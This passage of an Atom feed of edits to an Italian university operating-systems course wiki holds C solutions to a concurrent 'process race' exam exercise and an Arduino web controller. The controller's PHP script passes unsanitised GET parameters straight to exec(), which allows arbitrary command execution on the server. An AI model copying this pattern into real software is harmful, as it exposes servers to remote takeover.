   if(*head == NULL)&lt;br /&gt;
   {&lt;br /&gt;
      *head = new_el;&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
      struct list_el* tmp = (*head)-&amp;gt;next;&lt;br /&gt;
      (*head)-&amp;gt;next = new_el;&lt;br /&gt;
      new_el-&amp;gt;next = tmp;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int strspl(char*** split, char* string, const char* delim)&lt;br /&gt;
{&lt;br /&gt;
   char* result;&lt;br /&gt;
   char* parsed = malloc(strlen(string)+1);&lt;br /&gt;
   char* tofree = parsed;&lt;br /&gt;
   int size = 2;&lt;br /&gt;
&lt;br /&gt;
   char* ptr = string;&lt;br /&gt;
   while(*ptr != 0)&lt;br /&gt;
   {&lt;br /&gt;
      if(*ptr == *delim) size++;&lt;br /&gt;
      ptr++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   if(*split == NULL)&lt;br /&gt;
   {&lt;br /&gt;
      *split = malloc(sizeof(char*) * size);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   strcpy(parsed, string);&lt;br /&gt;
&lt;br /&gt;
   int i = 0;&lt;br /&gt;
   while((result = strtok(parsed, delim)) != NULL)&lt;br /&gt;
   {&lt;br /&gt;
      //subsequent calls to strtok must have NULL in the first&lt;br /&gt;
      //parameter&lt;br /&gt;
      parsed = NULL;&lt;br /&gt;
&lt;br /&gt;
      //(*split)[i] = result;&lt;br /&gt;
      (*split)[i] = malloc(strlen(result) * sizeof(char) + 1);&lt;br /&gt;
      strcpy((*split)[i], result);&lt;br /&gt;
&lt;br /&gt;
      i++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   (*split)[i] = (char*) 0;&lt;br /&gt;
&lt;br /&gt;
   free(tofree);&lt;br /&gt;
   return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
struct list_el* head = NULL;&lt;br /&gt;
&lt;br /&gt;
char* printNamePid(pid_t pid)&lt;br /&gt;
{&lt;br /&gt;
   struct list_el* p = head;&lt;br /&gt;
   while(p != NULL)&lt;br /&gt;
   {&lt;br /&gt;
      if(p-&amp;gt;pid == pid) return p-&amp;gt;comando;&lt;br /&gt;
      p = p-&amp;gt;next;&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int n;&lt;br /&gt;
   char *string;&lt;br /&gt;
   string = NULL;//malloc(MAX_BUFF * sizeof(char));&lt;br /&gt;
   int bytes_read;&lt;br /&gt;
   pid_t pid;&lt;br /&gt;
   char** splitargs = NULL;&lt;br /&gt;
   char delim = ' ';&lt;br /&gt;
   int nFork = 0;&lt;br /&gt;
   int err;&lt;br /&gt;
   int pipe_read = 0;&lt;br /&gt;
   char pipe_char = ' ';&lt;br /&gt;
&lt;br /&gt;
   int pipefd[2];&lt;br /&gt;
   pipe(pipefd);&lt;br /&gt;
&lt;br /&gt;
   struct pollfd pipe_read_poll;&lt;br /&gt;
   pipe_read_poll.fd = pipefd[0];&lt;br /&gt;
   pipe_read_poll.events = POLLIN;&lt;br /&gt;
&lt;br /&gt;
   while((bytes_read = getline(&amp;amp;string, &amp;amp;n, stdin)) != 0)&lt;br /&gt;
   {&lt;br /&gt;
      if(strcmp(string, &amp;quot;\n&amp;quot;) == 0) break;&lt;br /&gt;
&lt;br /&gt;
      string[strlen(string)-1] = 0;&lt;br /&gt;
      strspl(&amp;amp;splitargs, string, &amp;amp;delim);&lt;br /&gt;
&lt;br /&gt;
      pid = fork();&lt;br /&gt;
      switch(pid)&lt;br /&gt;
      {&lt;br /&gt;
         case -1:&lt;br /&gt;
            printf(&amp;quot;Error fork: %s (%d)&amp;quot;, strerror(errno), errno);&lt;br /&gt;
            exit(2);&lt;br /&gt;
            break;&lt;br /&gt;
         case 0:&lt;br /&gt;
            //pipe_read = read(pipefd[0], &amp;amp;pipe_read, 1);&lt;br /&gt;
            poll(&amp;amp;pipe_read_poll, 1, -1);&lt;br /&gt;
            err = execvp(splitargs[0], splitargs);&lt;br /&gt;
            if(err &amp;lt; 0)&lt;br /&gt;
            {&lt;br /&gt;
               printf(&amp;quot;Error exec: %s (%d)&amp;quot;, strerror(errno), errno);&lt;br /&gt;
               exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            exit(0);&lt;br /&gt;
            break;&lt;br /&gt;
         default: //PADRE, continua pure&lt;br /&gt;
            nFork++;&lt;br /&gt;
            insert_el(&amp;amp;head, string, pid);&lt;br /&gt;
            break;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      //free(splitargs); //TODO anche di tutte le stringhe all'interno&lt;br /&gt;
      splitargs = NULL;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   int status = 0;&lt;br /&gt;
   char buf = 'g';&lt;br /&gt;
   char* comando = NULL;&lt;br /&gt;
   int ordineArrivo[nFork];&lt;br /&gt;
   int i = 0;&lt;br /&gt;
&lt;br /&gt;
   write(pipefd[1], &amp;amp;buf, 1);&lt;br /&gt;
&lt;br /&gt;
   while(i &amp;lt; nFork)&lt;br /&gt;
   {&lt;br /&gt;
      pid = wait(&amp;amp;status);&lt;br /&gt;
      ordineArrivo[i] = pid;&lt;br /&gt;
      i++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   printf(&amp;quot;\n\n&amp;quot;);&lt;br /&gt;
   for(i = 0; i &amp;lt; nFork; i++)&lt;br /&gt;
   {&lt;br /&gt;
      comando = printNamePid(ordineArrivo[i]);&lt;br /&gt;
      printf(&amp;quot;%d : %s Terminated\n&amp;quot;, i, comando);&lt;br /&gt;
   }&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Process_Race_(Prova_pratica_18-07-2013)&amp;diff=940</id>
		<title>Process Race (Prova pratica 18-07-2013)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Process_Race_(Prova_pratica_18-07-2013)&amp;diff=940"/>
		<updated>2015-03-26T16:51:51Z</updated>

		<summary type="html">&lt;p&gt;GFede: Created page with &amp;quot;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt; Esercizio 1: Linguaggio C (obbligatorio): (20 punti) Una gara fra processi. Scrivere un programma C che prenda in input (da standard input) alcune righe c...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Esercizio 1: Linguaggio C (obbligatorio): (20 punti)&lt;br /&gt;
Una gara fra processi.&lt;br /&gt;
Scrivere un programma C che prenda in input (da standard input) alcune righe contenenti comandi con relativi parametri. La lista dei comandi termina quando viene inserita una riga vuota.&lt;br /&gt;
A questo punto tutti i comandi vengono eseguiti in modo concorrente e deve venir stampato l'ordine di terminazione.&lt;br /&gt;
(E' vietato usare system, popen o simili)&lt;br /&gt;
Es.&lt;br /&gt;
$ prorace&lt;br /&gt;
sleep 30&lt;br /&gt;
sleep 10&lt;br /&gt;
sleep 20&lt;br /&gt;
ls -l&lt;br /&gt;
input di una riga vuota .... output di ls -l ....&lt;br /&gt;
1 arrivato: ls -l&lt;br /&gt;
2 arrivato: sleep 10&lt;br /&gt;
3 arrivato: sleep 20&lt;br /&gt;
4 arrivato: sleep 30&lt;br /&gt;
&lt;br /&gt;
Esercizio 2: completamento (10 punti)&lt;br /&gt;
Si estenda l'esercizio 1 in modo da avere una partenza piu' sincronizzata dei processi.&lt;br /&gt;
Tutti i processi devono attendere un evento che li sblocchi tutti insieme, per esempio tutti i processi possono mettersi in&lt;br /&gt;
attesa con poll o select sul canale di lettura di una pipe. Quando “prorace” scrive un carattere sulla pipe tutti i processi diventano ready.&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;poll.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
struct list_el&lt;br /&gt;
{&lt;br /&gt;
   pid_t pid;&lt;br /&gt;
   char* comando;&lt;br /&gt;
   struct list_el* next;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
void insert_el(struct list_el** head, char* command, pid_t id)&lt;br /&gt;
{&lt;br /&gt;
   struct list_el *new_el = malloc(sizeof(struct list_el));&lt;br /&gt;
   new_el-&amp;gt;comando = malloc(sizeof(char) * strlen(command) + 1);&lt;br /&gt;
   strcpy(new_el-&amp;gt;comando, command);&lt;br /&gt;
   new_el-&amp;gt;next = NULL;&lt;br /&gt;
   new_el-&amp;gt;pid = id;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   if(*head == NULL)&lt;br /&gt;
   {&lt;br /&gt;
      *head = new_el;&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
      struct list_el* tmp = (*head)-&amp;gt;next;&lt;br /&gt;
      (*head)-&amp;gt;next = new_el;&lt;br /&gt;
      //(*head)-&amp;gt;next = NULL;&lt;br /&gt;
      new_el-&amp;gt;next = tmp;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int strspl(char*** split, char* string, const char* delim)&lt;br /&gt;
{&lt;br /&gt;
   char* result;&lt;br /&gt;
   char* parsed = malloc(strlen(string)+1);&lt;br /&gt;
   char* tofree = parsed;&lt;br /&gt;
   int size = 2;&lt;br /&gt;
&lt;br /&gt;
   char* ptr = string;&lt;br /&gt;
   while(*ptr != 0)&lt;br /&gt;
   {&lt;br /&gt;
      if(*ptr == *delim) size++;&lt;br /&gt;
      ptr++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   if(*split == NULL)&lt;br /&gt;
   {&lt;br /&gt;
      *split = malloc(sizeof(char*) * size);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   strcpy(parsed, string);&lt;br /&gt;
&lt;br /&gt;
   int i = 0;&lt;br /&gt;
   while((result = strtok(parsed, delim)) != NULL)&lt;br /&gt;
   {&lt;br /&gt;
      //subsequent calls to strtok must have NULL in the first&lt;br /&gt;
      //parameter&lt;br /&gt;
      parsed = NULL;&lt;br /&gt;
&lt;br /&gt;
      //(*split)[i] = result;&lt;br /&gt;
      (*split)[i] = malloc(strlen(result) * sizeof(char) + 1);&lt;br /&gt;
      strcpy((*split)[i], result);&lt;br /&gt;
&lt;br /&gt;
      i++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   (*split)[i] = (char*) 0;&lt;br /&gt;
&lt;br /&gt;
   free(tofree);&lt;br /&gt;
   return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
struct list_el* head = NULL;&lt;br /&gt;
&lt;br /&gt;
char* printNamePid(pid_t pid)&lt;br /&gt;
{&lt;br /&gt;
   struct list_el* p = head;&lt;br /&gt;
   while(p != NULL)&lt;br /&gt;
   {&lt;br /&gt;
      if(p-&amp;gt;pid == pid) return p-&amp;gt;comando;&lt;br /&gt;
      p = p-&amp;gt;next;&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int n;&lt;br /&gt;
   char *string;&lt;br /&gt;
   string = NULL;//malloc(MAX_BUFF * sizeof(char));&lt;br /&gt;
   int bytes_read;&lt;br /&gt;
   pid_t pid;&lt;br /&gt;
   char** splitargs = NULL;&lt;br /&gt;
   char delim = ' ';&lt;br /&gt;
   int nFork = 0;&lt;br /&gt;
   int err;&lt;br /&gt;
   int pipe_read = 0;&lt;br /&gt;
   char pipe_char = ' ';&lt;br /&gt;
&lt;br /&gt;
   int pipefd[2];&lt;br /&gt;
   pipe(pipefd);&lt;br /&gt;
&lt;br /&gt;
   struct pollfd pipe_read_poll;&lt;br /&gt;
   pipe_read_poll.fd = pipefd[0];&lt;br /&gt;
   pipe_read_poll.events = POLLIN;&lt;br /&gt;
&lt;br /&gt;
   while((bytes_read = getline(&amp;amp;string, &amp;amp;n, stdin)) != 0)&lt;br /&gt;
   {&lt;br /&gt;
      if(strcmp(string, &amp;quot;\n&amp;quot;) == 0) break;&lt;br /&gt;
&lt;br /&gt;
      string[strlen(string)-1] = 0;&lt;br /&gt;
      strspl(&amp;amp;splitargs, string, &amp;amp;delim);&lt;br /&gt;
&lt;br /&gt;
      pid = fork();&lt;br /&gt;
      switch(pid)&lt;br /&gt;
      {&lt;br /&gt;
         case -1:&lt;br /&gt;
            printf(&amp;quot;Error fork: %s (%d)&amp;quot;, strerror(errno), errno);&lt;br /&gt;
            exit(2);&lt;br /&gt;
            break;&lt;br /&gt;
         case 0:&lt;br /&gt;
            //pipe_read = read(pipefd[0], &amp;amp;pipe_read, 1);&lt;br /&gt;
            poll(&amp;amp;pipe_read_poll, 1, -1);&lt;br /&gt;
            err = execvp(splitargs[0], splitargs);&lt;br /&gt;
            if(err &amp;lt; 0)&lt;br /&gt;
            {&lt;br /&gt;
               printf(&amp;quot;Error exec: %s (%d)&amp;quot;, strerror(errno), errno);&lt;br /&gt;
               exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            exit(0);&lt;br /&gt;
            break;&lt;br /&gt;
         default: //PADRE, continua pure&lt;br /&gt;
            nFork++;&lt;br /&gt;
            insert_el(&amp;amp;head, string, pid);&lt;br /&gt;
            break;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      //free(splitargs); //TODO anche di tutte le stringhe all'interno&lt;br /&gt;
      splitargs = NULL;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   int status = 0;&lt;br /&gt;
   char buf = 'g';&lt;br /&gt;
   char* comando = NULL;&lt;br /&gt;
   int ordineArrivo[nFork];&lt;br /&gt;
   int i = 0;&lt;br /&gt;
&lt;br /&gt;
   write(pipefd[1], &amp;amp;buf, 1);&lt;br /&gt;
&lt;br /&gt;
   while(i &amp;lt; nFork)&lt;br /&gt;
   {&lt;br /&gt;
      pid = wait(&amp;amp;status);&lt;br /&gt;
      ordineArrivo[i] = pid;&lt;br /&gt;
      i++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   printf(&amp;quot;\n\n&amp;quot;);&lt;br /&gt;
   for(i = 0; i &amp;lt; nFork; i++)&lt;br /&gt;
   {&lt;br /&gt;
      comando = printNamePid(ordineArrivo[i]);&lt;br /&gt;
      printf(&amp;quot;%d : %s Terminated\n&amp;quot;, i, comando);&lt;br /&gt;
   }&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=932</id>
		<title>Arduino web controller</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=932"/>
		<updated>2015-03-24T15:28:44Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Federico Giuggioloni ==&lt;br /&gt;
&lt;br /&gt;
Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.&lt;br /&gt;
se n e' minore di 10 manda a LOW al numero specificato, se e' di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.&lt;br /&gt;
&lt;br /&gt;
Sketch Arduino:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int incomingByte = -1;&lt;br /&gt;
&lt;br /&gt;
void setup()  &lt;br /&gt;
{&lt;br /&gt;
  // Open serial communications and wait for port to open:&lt;br /&gt;
  Serial.begin(9600);  //57600&lt;br /&gt;
  &lt;br /&gt;
  pinMode(8, OUTPUT);&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;Hello world!&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() // run over and over&lt;br /&gt;
{&lt;br /&gt;
  if (Serial.available() &amp;gt; 0)&lt;br /&gt;
  {&lt;br /&gt;
    incomingByte = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;I received: &amp;quot;);&lt;br /&gt;
    Serial.println(incomingByte, DEC);&lt;br /&gt;
    &lt;br /&gt;
    if( incomingByte &amp;lt; 10 )&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte, LOW); &lt;br /&gt;
    }&lt;br /&gt;
    else if(incomingByte &amp;lt; 20)&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte-10, HIGH);&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MAXIMUM_CHAIN 16&lt;br /&gt;
&lt;br /&gt;
void usage()&lt;br /&gt;
{&lt;br /&gt;
   printf(&amp;quot;Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n&amp;quot;);&lt;br /&gt;
   exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void checkError(int result)&lt;br /&gt;
{&lt;br /&gt;
   if(result &amp;lt; 0)&lt;br /&gt;
   {&lt;br /&gt;
      printf(&amp;quot;Error: %s (%i)\n&amp;quot;, strerror(errno), errno);&lt;br /&gt;
      exit(1);&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * strspl&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Splits a string and allocates memory for an array&lt;br /&gt;
 * which contains the result of the split.&lt;br /&gt;
 *&lt;br /&gt;
 * @param char*** split a pointer to a string array,&lt;br /&gt;
 *          can be null. after the call, it'll be an&lt;br /&gt;
 *          array with the required elements.&lt;br /&gt;
 * @param char* string a pointer to the string to split&lt;br /&gt;
 * @param const char* delim a pointer to the delimiter.&lt;br /&gt;
 * @return number of elements in the split array&lt;br /&gt;
 */&lt;br /&gt;
int strspl(char*** split, char* string, const char* delim)&lt;br /&gt;
{&lt;br /&gt;
   char* result;&lt;br /&gt;
   char* parsed = malloc(strlen(string)+1);&lt;br /&gt;
   char* tofree = parsed;&lt;br /&gt;
&lt;br /&gt;
   if(*split == NULL)&lt;br /&gt;
   {&lt;br /&gt;
      *split = malloc(sizeof(char*) * MAXIMUM_CHAIN);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   strcpy(parsed, string);&lt;br /&gt;
&lt;br /&gt;
   int i = 0;&lt;br /&gt;
   while((result = strtok(parsed, delim)) != NULL)&lt;br /&gt;
   {&lt;br /&gt;
      //subsequent calls to strtok must have NULL in the first&lt;br /&gt;
      //parameter&lt;br /&gt;
      parsed = NULL;&lt;br /&gt;
&lt;br /&gt;
      //(*split)[i] = result;&lt;br /&gt;
      (*split)[i] = malloc(strlen(result) * sizeof(char) + 1);&lt;br /&gt;
      strcpy((*split)[i], result);&lt;br /&gt;
&lt;br /&gt;
      printf(&amp;quot;%s\n&amp;quot;, result);&lt;br /&gt;
&lt;br /&gt;
      i++;&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   free(tofree);&lt;br /&gt;
   return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * read_commands&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Reads commands from an array produced by strspl&lt;br /&gt;
 *&lt;br /&gt;
 * @return integer determining which action has to be executed&lt;br /&gt;
 *          (HINTHINT Send it directly to arduino)&lt;br /&gt;
 */&lt;br /&gt;
char read_commands(char** commands, int argc)&lt;br /&gt;
{&lt;br /&gt;
   int action = 0;&lt;br /&gt;
   int pin;&lt;br /&gt;
&lt;br /&gt;
   if(strcmp(commands[0], &amp;quot;LED&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      if(strcmp(commands[1], &amp;quot;ON&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 10 + pin;&lt;br /&gt;
      }&lt;br /&gt;
      else if(strcmp(commands[2], &amp;quot;OFF&amp;quot;) == 0)&lt;br /&gt;
      {&lt;br /&gt;
         pin = atoi(commands[2]);&lt;br /&gt;
         action = 0 + pin;&lt;br /&gt;
      }&lt;br /&gt;
   }&lt;br /&gt;
   else if(strcmp(commands[0], &amp;quot;SEND&amp;quot;) == 0)&lt;br /&gt;
   {&lt;br /&gt;
      action = atoi(commands[1]);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   return action;//TODO&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   if(argc &amp;lt; 1) usage();&lt;br /&gt;
&lt;br /&gt;
   int fd;&lt;br /&gt;
   int i;&lt;br /&gt;
   char* message;&lt;br /&gt;
   size_t size = 1024;&lt;br /&gt;
   int read;&lt;br /&gt;
   char** split = NULL;&lt;br /&gt;
   int tokens;&lt;br /&gt;
   char delim = ' ';&lt;br /&gt;
   char read_command = 0;&lt;br /&gt;
&lt;br /&gt;
   message = malloc(size);&lt;br /&gt;
&lt;br /&gt;
   fd = open(argv[1], O_RDWR);&lt;br /&gt;
   checkError(fd);&lt;br /&gt;
&lt;br /&gt;
   if(argc &amp;gt; 2)&lt;br /&gt;
   {&lt;br /&gt;
      read_command = read_commands(argv+2, argc-2);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
      exit(0);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   do&lt;br /&gt;
   {&lt;br /&gt;
      read = getline(&amp;amp;message, &amp;amp;size, stdin);&lt;br /&gt;
&lt;br /&gt;
      tokens = strspl(&amp;amp;split, message, &amp;amp;delim);&lt;br /&gt;
&lt;br /&gt;
      read_command = read_commands(split, tokens);&lt;br /&gt;
      write(fd, &amp;amp;read_command, 1);&lt;br /&gt;
&lt;br /&gt;
   }while(1);&lt;br /&gt;
&lt;br /&gt;
   return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET[&amp;quot;script&amp;quot;]) &amp;amp;&amp;amp; isset($_GET[&amp;quot;args&amp;quot;]))&lt;br /&gt;
{&lt;br /&gt;
   $result = exec($_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot;&amp;quot;, $output, $return);&lt;br /&gt;
      echo $_GET[&amp;quot;script&amp;quot;].&amp;quot; &amp;quot;.$_GET[&amp;quot;args&amp;quot;].&amp;quot; called, result = $result!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
      if(!$return)&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;Succesful!&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
         echo &amp;quot;No.&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
      echo &amp;quot;$output&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
      echo &amp;quot;$result&amp;lt;br/&amp;gt;&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=930</id>
		<title>Arduino web controller</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Arduino_web_controller&amp;diff=930"/>
		<updated>2015-03-24T14:10:24Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Federico Giuggioloni ==&lt;br /&gt;
&lt;br /&gt;
Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.&lt;br /&gt;
se n e' minore di 10 manda a LOW al numero specificato, se e' di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.&lt;br /&gt;
&lt;br /&gt;
Sketch Arduino:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int incomingByte = -1;&lt;br /&gt;
&lt;br /&gt;
void setup()  &lt;br /&gt;
{&lt;br /&gt;
  // Open serial communications and wait for port to open:&lt;br /&gt;
  Serial.begin(9600);  //57600&lt;br /&gt;
  &lt;br /&gt;
  pinMode(8, OUTPUT);&lt;br /&gt;
  &lt;br /&gt;
  Serial.println(&amp;quot;Hello world!&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
void loop() // run over and over&lt;br /&gt;
{&lt;br /&gt;
  if (Serial.available() &amp;gt; 0)&lt;br /&gt;
  {&lt;br /&gt;
    incomingByte = Serial.read();&lt;br /&gt;
    Serial.print(&amp;quot;I received: &amp;quot;);&lt;br /&gt;
    Serial.println(incomingByte, DEC);&lt;br /&gt;
    &lt;br /&gt;
    if( incomingByte &amp;lt; 10 )&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte, LOW); &lt;br /&gt;
    }&lt;br /&gt;
    else if(incomingByte &amp;lt; 20)&lt;br /&gt;
    {&lt;br /&gt;
       digitalWrite(incomingByte-10, HIGH);&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MAXIMUM_CHAIN 16&lt;br /&gt;
&lt;br /&gt;
void usage()&lt;br /&gt;
{&lt;br /&gt;
   printf(&amp;quot;Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n&amp;quot;);&lt;br /&gt;
   exit(1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void checkError(int result)&lt;br /&gt;
{&lt;br /&gt;
   if(result &amp;lt; 0)&lt;br /&gt;
   {&lt;br /&gt;
      printf(&amp;quot;Error: %s (%i)\n&amp;quot;, strerror(errno), errno);&lt;br /&gt;
      exit(1);&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * strspl&lt;br /&gt;
 * @author Federico Giuggioloni&lt;br /&gt;
 * Splits a string and allocates memory for an array&lt;br /&gt;
 * which contains the result of the split.&lt;br /&gt;
 *&lt;br /&gt;
 * @param char*** split a pointer to a string array,&lt;br /&gt;
 *          can be null. after the call, it'll be an&lt;br /&gt;
 *          array with the required elements.&lt;br /&gt;
 * @param char* string a pointer to the string to split&lt;br /&gt;
